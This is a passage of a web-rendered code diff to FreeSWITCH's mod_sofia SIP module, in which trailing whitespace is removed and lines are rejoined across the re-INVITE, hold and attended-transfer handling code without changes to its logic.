</span><span class="lines">@@ -4299,15 +4325,13 @@
</span><span class="cx">                                                                                 SIPTAG_CONTACT_STR(tech_pvt->profile->url),
</span><span class="cx">                                                                                 SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
</span><span class="cx">                                                                                 SOATAG_REUSE_REJECTED(1),
</span><del>-                                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
</del><ins>+                                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
</ins><span class="cx">                                                                                 TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
</span><span class="cx">                                                 } else {
</span><span class="cx">                                                         nua_respond(tech_pvt->nh, SIP_200_OK,
</span><span class="cx">                                                                                 NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                                                                 SIPTAG_CONTACT_STR(tech_pvt->profile->url),
</span><del>-                                                                                SIPTAG_CONTENT_TYPE_STR("application/sdp"),
-                                                                                SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
-                                                                                TAG_END());
</del><ins>+                                                                                SIPTAG_CONTENT_TYPE_STR("application/sdp"), SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str), TAG_END());
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (sofia_test_pflag(profile, PFLAG_3PCC_PROXY)) {
</span><span class="cx">                                                 //3PCC proxy mode delays the 200 OK until the call is answered
</span><span class="lines">@@ -4348,7 +4372,7 @@
</span><span class="cx">
</span><span class="cx">                         if (r_sdp) {
</span><span class="cx">                                 const char *var;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((var = switch_channel_get_variable(channel, "sip_ignore_reinvites")) && switch_true(var)) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Ignoring Re-invite\n");
</span><span class="cx">                                         nua_respond(tech_pvt->nh, SIP_200_OK, TAG_END());
</span><span class="lines">@@ -4363,13 +4387,13 @@
</span><span class="cx">                                         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))
</span><span class="cx">                                                 && (other_session = switch_core_session_locate(uuid))) {
</span><span class="cx">                                                 switch_core_session_message_t *msg;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_channel_test_flag(channel, CF_PROXY_MODE) && !is_t38 && profile->media_options & MEDIA_OPT_MEDIA_ON_HOLD) {
</span><span class="cx">                                                         tech_pvt->hold_laps = 1;
</span><span class="cx">                                                         switch_channel_set_variable(channel, SWITCH_R_SDP_VARIABLE, r_sdp);
</span><span class="cx">                                                         switch_channel_clear_flag(channel, CF_PROXY_MODE);
</span><span class="cx">                                                         sofia_glue_tech_set_local_sdp(tech_pvt, NULL, SWITCH_FALSE);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (!switch_channel_media_ready(channel)) {
</span><span class="cx">                                                                 if (!switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND)) {
</span><span class="cx">                                                                         //const char *r_sdp = switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
</span><span class="lines">@@ -4394,34 +4418,32 @@
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="cx">                                                         sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 1);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (sofia_use_soa(tech_pvt)) {
</span><span class="cx">                                                                 nua_respond(tech_pvt->nh, SIP_200_OK,
</span><span class="cx">                                                                                         SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><span class="cx">                                                                                         SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
</span><span class="cx">                                                                                         SOATAG_REUSE_REJECTED(1),
</span><del>-                                                                                        SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
</del><ins>+                                                                                        SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
</ins><span class="cx">                                                                                         TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 nua_respond(tech_pvt->nh, SIP_200_OK,
</span><span class="cx">                                                                                         NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                                                                         SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><del>-                                                                                        SIPTAG_CONTENT_TYPE_STR("application/sdp"),
-                                                                                        SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
-                                                                                        TAG_END());
</del><ins>+                                                                                        SIPTAG_CONTENT_TYPE_STR("application/sdp"), SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str), TAG_END());
</ins><span class="cx">                                                         }
</span><span class="cx">                                                         launch_media_on_hold(session);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_core_session_rwunlock(other_session);
</span><span class="cx">                                                         goto done;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 msg = switch_core_session_alloc(other_session, sizeof(*msg));
</span><span class="cx">                                                 msg->message_id = SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT;
</span><span class="cx">                                                 msg->from = __FILE__;
</span><span class="cx">                                                 msg->string_arg = switch_core_session_strdup(other_session, r_sdp);
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Passing SDP to other leg.\n%s\n", r_sdp);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
</span><span class="cx">                                                         if (!switch_stristr("sendonly", r_sdp)) {
</span><span class="cx">                                                                 sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
</span><span class="lines">@@ -4430,7 +4452,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                 } else if (switch_stristr("sendonly", r_sdp)) {
</span><span class="cx">                                                         const char *msg = "hold";
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
</span><span class="cx">                                                                 const char *info = switch_channel_get_variable(channel, "presence_call_info");
</span><span class="cx">                                                                 if (info) {
</span><span class="lines">@@ -4444,12 +4466,12 @@
</span><span class="cx">                                                         switch_channel_set_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">                                                         switch_channel_presence(tech_pvt->channel, "unknown", msg, NULL);
</span><span class="cx">                                                 }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 switch_core_session_queue_message(other_session, msg);
</span><span class="cx">
</span><span class="cx">                                                 switch_core_session_rwunlock(other_session);
</span><span class="cx">                                         } else {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                                                  "Re-INVITE to a no-media channel that is not in a bridge.\n");
</span><span class="cx">                                                 is_ok = 0;
</span><span class="cx">                                                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="lines">@@ -4457,7 +4479,7 @@
</span><span class="cx">                                         goto done;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         sofia_set_flag_locked(tech_pvt, TFLAG_REINVITE);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (tech_pvt->num_codecs) {
</span><span class="cx">                                                 if ((parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
</span><span class="cx">                                                         if ((sdp = sdp_session(parser))) {
</span><span class="lines">@@ -4471,7 +4493,7 @@
</span><span class="cx">                                                         goto done;
</span><span class="cx">                                                 }
</span><span class="cx">                                                 sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Reinvite RTP Error!\n");
</span><span class="cx">                                                         is_ok = 0;
</span><span class="lines">@@ -4484,8 +4506,8 @@
</span><span class="cx">                                                 is_ok = 0;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 if (is_ok) {
</span><span class="cx">                                         if (tech_pvt->local_crypto_key) {
</span><span class="cx">                                                 sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
</span><span class="lines">@@ -4495,15 +4517,13 @@
</span><span class="cx">                                                                         SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><span class="cx">                                                                         SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str),
</span><span class="cx">                                                                         SOATAG_REUSE_REJECTED(1),
</span><del>-                                                                        SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
</del><ins>+                                                                        SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX("cn telephone-event"),
</ins><span class="cx">                                                                         TAG_IF(sofia_test_pflag(profile, PFLAG_DISABLE_100REL), NUTAG_INCLUDE_EXTRA_SDP(1)), TAG_END());
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 nua_respond(tech_pvt->nh, SIP_200_OK,
</span><span class="cx">                                                                         NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                                                         SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
</span><del>-                                                                        SIPTAG_CONTENT_TYPE_STR("application/sdp"),
-                                                                        SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
-                                                                        TAG_END());
</del><ins>+                                                                        SIPTAG_CONTENT_TYPE_STR("application/sdp"), SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str), TAG_END());
</ins><span class="cx">                                         }
</span><span class="cx">                                         if (switch_event_create_subclass(&s_event, SWITCH_EVENT_CUSTOM, MY_EVENT_REINVITE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_event_add_header_string(s_event, SWITCH_STACK_BOTTOM, "Unique-ID", switch_core_session_get_uuid(session));
</span><span class="lines">@@ -4523,7 +4543,7 @@
</span><span class="cx">                         uint8_t match = 0;
</span><span class="cx">
</span><span class="cx">                         sofia_set_flag_locked(tech_pvt, TFLAG_REINVITE);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (tech_pvt->num_codecs) {
</span><span class="cx">                                 if ((parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
</span><span class="cx">                                         if ((sdp = sdp_session(parser))) {
</span><span class="lines">@@ -4537,7 +4557,7 @@
</span><span class="cx">                                         goto done;
</span><span class="cx">                                 }
</span><span class="cx">                                 sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Processing updated SDP\n");
</span><span class="cx">                                 if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "RTP Error!\n");
</span><span class="lines">@@ -4606,12 +4626,12 @@
</span><span class="cx">                         }
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (channel) {
</span><del>- if (sofia_test_flag(tech_pvt, TFLAG_EARLY_MEDIA)) {
- sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
- sofia_set_flag(tech_pvt, TFLAG_SDP);
- switch_channel_mark_answered(channel);
</del><ins>+                        if (sofia_test_flag(tech_pvt, TFLAG_EARLY_MEDIA)) {
+                                sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
+                                sofia_set_flag(tech_pvt, TFLAG_SDP);
+                                switch_channel_mark_answered(channel);
</ins><span class="cx">                                 if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><span class="cx">                                         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))
</span><span class="cx">                                                 && (other_session = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -4620,9 +4640,9 @@
</span><span class="cx">                                                 switch_core_session_rwunlock(other_session);
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>- goto done;
- }
-                        
</del><ins>+                                goto done;
+                        }
+
</ins><span class="cx">                         if (!r_sdp && !sofia_test_flag(tech_pvt, TFLAG_SDP)) {
</span><span class="cx">                                 r_sdp = (const char *) switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
</span><span class="cx">                         }
</span><span class="lines">@@ -4675,7 +4695,7 @@
</span><span class="cx">
</span><span class="cx">                                                         if (sofia_test_flag(tech_pvt, TFLAG_3PCC)) {
</span><span class="cx">                                                                 /* Check if we are in 3PCC proxy mode, if so then set the flag to indicate we received the ack */
</span><del>-                                                                if (sofia_test_pflag(profile, PFLAG_3PCC_PROXY )) {
</del><ins>+                                                                if (sofia_test_pflag(profile, PFLAG_3PCC_PROXY)) {
</ins><span class="cx">                                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "3PCC-PROXY, Got my ACK\n");
</span><span class="cx">                                                                         sofia_set_flag(tech_pvt, TFLAG_3PCC_HAS_ACK);
</span><span class="cx">                                                                 } else if (switch_channel_get_state(channel) == CS_HIBERNATE) {
</span><span class="lines">@@ -4725,21 +4745,21 @@
</span><span class="cx">                         switch_channel_set_variable(channel, "sip_term_cause", st);
</span><span class="cx">                         switch_channel_hangup(channel, cause);
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 if (ss_state == nua_callstate_terminated) {
</span><span class="cx">                         if (tech_pvt->sofia_private) {
</span><span class="cx">                                 tech_pvt->sofia_private = NULL;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         tech_pvt->nh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">                         if (nh) {
</span><span class="cx">                                 nua_handle_bind(nh, NULL);
</span><span class="cx">                                 nua_handle_destroy(nh);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -4763,7 +4783,7 @@
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_core_session_t *session, *a_session;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((a_session = switch_core_session_locate(nhelper->bridge_to_uuid))) {
</span><span class="cx">                 switch_core_session_t *tsession = NULL;
</span><span class="cx">                 switch_call_cause_t cause = SWITCH_CAUSE_NORMAL_CLEARING;
</span><span class="lines">@@ -4775,8 +4795,7 @@
</span><span class="cx">                         switch_channel_t *channel_a = switch_core_session_get_channel(session);
</span><span class="cx">
</span><span class="cx">                         if ((status = switch_ivr_originate(NULL, &tsession, &cause, nhelper->exten_with_params, timeout, NULL, NULL, NULL,
</span><del>-                                                                                         switch_channel_get_caller_profile(channel_a),
-                                                                                         nhelper->vars, SOF_NONE, NULL)) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                                                         switch_channel_get_caller_profile(channel_a), nhelper->vars, SOF_NONE, NULL)) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                 if (switch_channel_up(channel_a)) {
</span><span class="cx">                                         tuuid_str = switch_core_session_get_uuid(tsession);
</span><span class="cx">                                         switch_ivr_uuid_bridge(nhelper->bridge_to_uuid, tuuid_str);
</span><span class="lines">@@ -4797,7 +4816,7 @@
</span><span class="cx">
</span><span class="cx">                         nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag"),
</span><span class="cx">                                          NUTAG_SUBSTATE(nua_substate_terminated),
</span><del>-                                         SIPTAG_PAYLOAD_STR(status == SWITCH_STATUS_SUCCESS ? "SIP/2.0 200 OK\r\n":
</del><ins>+                                         SIPTAG_PAYLOAD_STR(status == SWITCH_STATUS_SUCCESS ? "SIP/2.0 200 OK\r\n" :
</ins><span class="cx">                                                                                  "SIP/2.0 403 Forbidden\r\n"), SIPTAG_EVENT_STR(nhelper->event), TAG_END());
</span><span class="cx">
</span><span class="cx">                         switch_core_session_rwunlock(session);
</span><span class="lines">@@ -4836,10 +4855,10 @@
</span><span class="cx">         if (state == CS_HANGUP) {
</span><span class="cx">                 switch_core_session_t *ksession;
</span><span class="cx">                 const char *uuid = switch_channel_get_variable(channel, "att_xfer_kill_uuid");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (uuid && (ksession = switch_core_session_force_locate(uuid))) {
</span><span class="cx">                         switch_channel_t *kchannel = switch_core_session_get_channel(ksession);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_channel_clear_flag(kchannel, CF_XFER_ZOMBIE);
</span><span class="cx">                         switch_channel_clear_flag(kchannel, CF_TRANSFER);
</span><span class="cx">                         if (switch_channel_up(kchannel)) {
</span><span class="lines">@@ -4861,8 +4880,8 @@
</span><span class="cx">         nua_handle_t *nh = NULL;
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>- void *val;
- sofia_profile_t *profile;
</del><ins>+        void *val;
+        sofia_profile_t *profile;
</ins><span class="cx">         switch_xml_t xml_root;
</span><span class="cx">         const char *err;
</span><span class="cx">
</span><span class="lines">@@ -4873,18 +4892,19 @@
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">         if (mod_sofia_globals.profile_hash) {
</span><del>- for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</del><ins>+                for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</ins><span class="cx">                         switch_hash_this(hi, &var, NULL, &val);
</span><del>- if ((profile = (sofia_profile_t *) val)) {
</del><ins>+                        if ((profile = (sofia_profile_t *) val)) {
</ins><span class="cx">                                 if (!(nh = nua_handle_by_replaces(profile->nua, replaces))) {
</span><span class="cx">                                         nh = nua_handle_by_call_id(profile->nua, replaces->rp_call_id);
</span><span class="cx">                                 }
</span><del>-                                if (nh) break;
</del><ins>+                                if (nh)
+                                        break;
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(mod_sofia_globals.hash_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return nh;
</span><span class="cx">
</span><span class="cx"> }
</span><span class="lines">@@ -4922,9 +4942,7 @@
</span><span class="cx">         home = su_home_new(sizeof(*home));
</span><span class="cx">         switch_assert(home != NULL);
</span><span class="cx">
</span><del>-        nua_respond(nh, SIP_202_ACCEPTED,
-                                NUTAG_WITH_THIS(nua),
-                                SIPTAG_EXPIRES_STR("60"), TAG_END());
</del><ins>+        nua_respond(nh, SIP_202_ACCEPTED, NUTAG_WITH_THIS(nua), SIPTAG_EXPIRES_STR("60"), TAG_END());
</ins><span class="cx">
</span><span class="cx">         if (sip->sip_referred_by) {
</span><span class="cx">                 full_ref_by = sip_header_as_string(home, (void *) sip->sip_referred_by);
</span><span class="lines">@@ -4942,10 +4960,10 @@
</span><span class="cx">
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Process REFER to [%s@%s]\n", exten, (char *) refer_to->r_url->url_host);
</span><span class="cx">
</span><del>-                if (refer_to->r_url->url_headers && (rep = (char *)switch_stristr("Replaces=", refer_to->r_url->url_headers))) {
</del><ins>+                if (refer_to->r_url->url_headers && (rep = (char *) switch_stristr("Replaces=", refer_to->r_url->url_headers))) {
</ins><span class="cx">                         sip_replaces_t *replaces;
</span><span class="cx">                         nua_handle_t *bnh = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (rep) {
</span><span class="cx">                                 const char *br_a = NULL, *br_b = NULL;
</span><span class="cx">                                 char *buf;
</span><span class="lines">@@ -4956,7 +4974,7 @@
</span><span class="cx">                                 if ((p = strchr(rep, ';'))) {
</span><span class="cx">                                         *p = '\0';
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((buf = switch_core_session_alloc(session, strlen(rep) + 1))) {
</span><span class="cx">                                         rep = url_unescape(buf, (const char *) rep);
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Replaces: [%s]\n", rep);
</span><span class="lines">@@ -4964,7 +4982,7 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Memory Error!\n");
</span><span class="cx">                                         goto done;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((replaces = sip_replaces_make(home, rep))) {
</span><span class="cx">                                         if (!(bnh = nua_handle_by_replaces(nua, replaces))) {
</span><span class="cx">                                                 if (!(bnh = nua_handle_by_call_id(nua, replaces->rp_call_id))) {
</span><span class="lines">@@ -4989,7 +5007,7 @@
</span><span class="cx">
</span><span class="cx">                                                 br_a = switch_channel_get_variable(channel_a, SWITCH_SIGNAL_BOND_VARIABLE);
</span><span class="cx">                                                 br_b = switch_channel_get_variable(channel_b, SWITCH_SIGNAL_BOND_VARIABLE);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!switch_ivr_uuid_exists(br_a)) {
</span><span class="cx">                                                         br_a = NULL;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -4997,18 +5015,18 @@
</span><span class="cx">                                                 if (!switch_ivr_uuid_exists(br_b)) {
</span><span class="cx">                                                         br_b = NULL;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_channel_test_flag(channel_b, CF_ORIGINATOR)) {
</span><span class="cx">                                                         switch_core_session_t *a_session;
</span><span class="cx">
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE,
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE,
</ins><span class="cx">                                                                                          "Attended Transfer on originating session %s\n", switch_core_session_get_uuid(b_session));
</span><del>-                                                        
</del><span class="cx">
</span><del>-                                                        
</del><ins>+
+
</ins><span class="cx">                                                         switch_channel_set_variable(channel_b, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "ATTENDED_TRANSFER");
</span><del>-                                                        
-                                                        
</del><ins>+
+
</ins><span class="cx">                                                         sofia_clear_flag_locked(b_tech_pvt, TFLAG_SIP_HOLD);
</span><span class="cx">                                                         switch_channel_clear_flag(channel_b, CF_LEG_HOLDING);
</span><span class="cx">                                                         sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
</span><span class="lines">@@ -5016,8 +5034,8 @@
</span><span class="cx">                                                         switch_channel_set_variable(channel_b, SWITCH_HOLDING_UUID_VARIABLE, br_a);
</span><span class="cx">                                                         switch_channel_set_flag(channel_b, CF_XFER_ZOMBIE);
</span><span class="cx">                                                         switch_channel_set_flag(channel_b, CF_TRANSFER);
</span><del>-                                                        
-                                                        
</del><ins>+
+
</ins><span class="cx">                                                         if ((a_session = switch_core_session_locate(br_a))) {
</span><span class="cx">                                                                 const char *moh = profile->hold_music;
</span><span class="cx">                                                                 switch_channel_t *a_channel = switch_core_session_get_channel(a_session);
</span><span class="lines">@@ -5029,11 +5047,11 @@
</span><span class="cx">                                                                 if ((tmp = switch_channel_get_variable(a_channel, SWITCH_HOLD_MUSIC_VARIABLE))) {
</span><span class="cx">                                                                         moh = tmp;
</span><span class="cx">                                                                 }
</span><del>-                                                                
</del><ins>+
</ins><span class="cx">                                                                 if (!zstr(moh) && !strcasecmp(moh, "silence")) {
</span><span class="cx">                                                                         moh = NULL;
</span><span class="cx">                                                                 }
</span><del>-                                                                
</del><ins>+
</ins><span class="cx">                                                                 if (moh) {
</span><span class="cx">                                                                         char *xdest;
</span><span class="cx">                                                                         xdest = switch_core_session_sprintf(a_session, "endless_playback:%s,park", moh);
</span><span class="lines">@@ -5041,26 +5059,26 @@
</span><span class="cx">                                                                 } else {
</span><span class="cx">                                                                         switch_ivr_session_transfer(a_session, "park", "inline", NULL);
</span><span class="cx">                                                                 }
</span><del>-                                                                
</del><ins>+
</ins><span class="cx">                                                                 switch_core_session_rwunlock(a_session);
</span><span class="cx">
</span><span class="cx">                                                                 nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
</span><del>-                                                                                 NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 200 OK\r\n"), SIPTAG_EVENT_STR(etmp), TAG_END());
-                                                                
</del><ins>+                                                                                 NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 200 OK\r\n"), SIPTAG_EVENT_STR(etmp),
+                                                                                 TAG_END());
+
</ins><span class="cx">                                                                 if (b_tech_pvt && !sofia_test_flag(b_tech_pvt, TFLAG_BYE)) {
</span><del>-                                                                        char* q850 = NULL;
-                                                                        const char* val = NULL;
</del><ins>+                                                                        char *q850 = NULL;
+                                                                        const char *val = NULL;
</ins><span class="cx">
</span><span class="cx">                                                                         sofia_set_flag_locked(b_tech_pvt, TFLAG_BYE);
</span><span class="cx">                                                                         val = switch_channel_get_variable(tech_pvt->channel, "disable_q850_reason");
</span><span class="cx">                                                                         if (!val || switch_true(val)) {
</span><span class="cx">                                                                                 q850 = switch_core_session_sprintf(a_session, "Q.850;cause=16;text=\"normal_clearing\"");
</span><del>-                                                                        }
-                                                                        nua_bye(b_tech_pvt->nh,
</del><ins>+                                                                        }
+                                                                        nua_bye(b_tech_pvt->nh,
</ins><span class="cx">                                                                                         TAG_IF(!zstr(q850), SIPTAG_REASON_STR(q850)),
</span><del>-                                                                                        TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)),
-                                                                                        TAG_END());
-                                                                
</del><ins>+                                                                                        TAG_IF(!zstr(tech_pvt->user_via), SIPTAG_VIA_STR(tech_pvt->user_via)), TAG_END());
+
</ins><span class="cx">                                                                 }
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
</span><span class="lines">@@ -5070,34 +5088,35 @@
</span><span class="cx">
</span><span class="cx">                                                 } else if (br_a && br_b) {
</span><span class="cx">                                                         switch_core_session_t *tmp = NULL;
</span><del>-                                                        
-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Attended Transfer [%s][%s]\n",
-                                                                                         switch_str_nil(br_a),
-                                                                                         switch_str_nil(br_b));
</del><span class="cx">
</span><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Attended Transfer [%s][%s]\n",
+                                                                                         switch_str_nil(br_a), switch_str_nil(br_b));
+
</ins><span class="cx">                                                         if ((profile->media_options & MEDIA_OPT_BYPASS_AFTER_ATT_XFER) && (tmp = switch_core_session_locate(br_b))) {
</span><span class="cx">                                                                 switch_channel_t *tchannel = switch_core_session_get_channel(tmp);
</span><span class="cx">                                                                 switch_channel_set_flag(tchannel, CF_BYPASS_MEDIA_AFTER_BRIDGE);
</span><span class="cx">                                                                 switch_core_session_rwunlock(tmp);
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_ivr_uuid_bridge(br_b, br_a);
</span><span class="cx">                                                         switch_channel_set_variable(channel_b, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "ATTENDED_TRANSFER");
</span><span class="cx">                                                         nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
</span><del>-                                                                         NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 200 OK\r\n"), SIPTAG_EVENT_STR(etmp), TAG_END());
</del><ins>+                                                                         NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 200 OK\r\n"), SIPTAG_EVENT_STR(etmp),
+                                                                         TAG_END());
</ins><span class="cx">
</span><span class="cx">                                                         sofia_clear_flag_locked(b_tech_pvt, TFLAG_SIP_HOLD);
</span><span class="cx">                                                         switch_channel_clear_flag(channel_b, CF_LEG_HOLDING);
</span><span class="cx">                                                         sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
</span><span class="cx">                                                         switch_channel_set_variable(channel_b, "park_timeout", "2");
</span><span class="cx">                                                         switch_channel_set_state(channel_b, CS_PARK);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         if (!br_a && !br_b) {
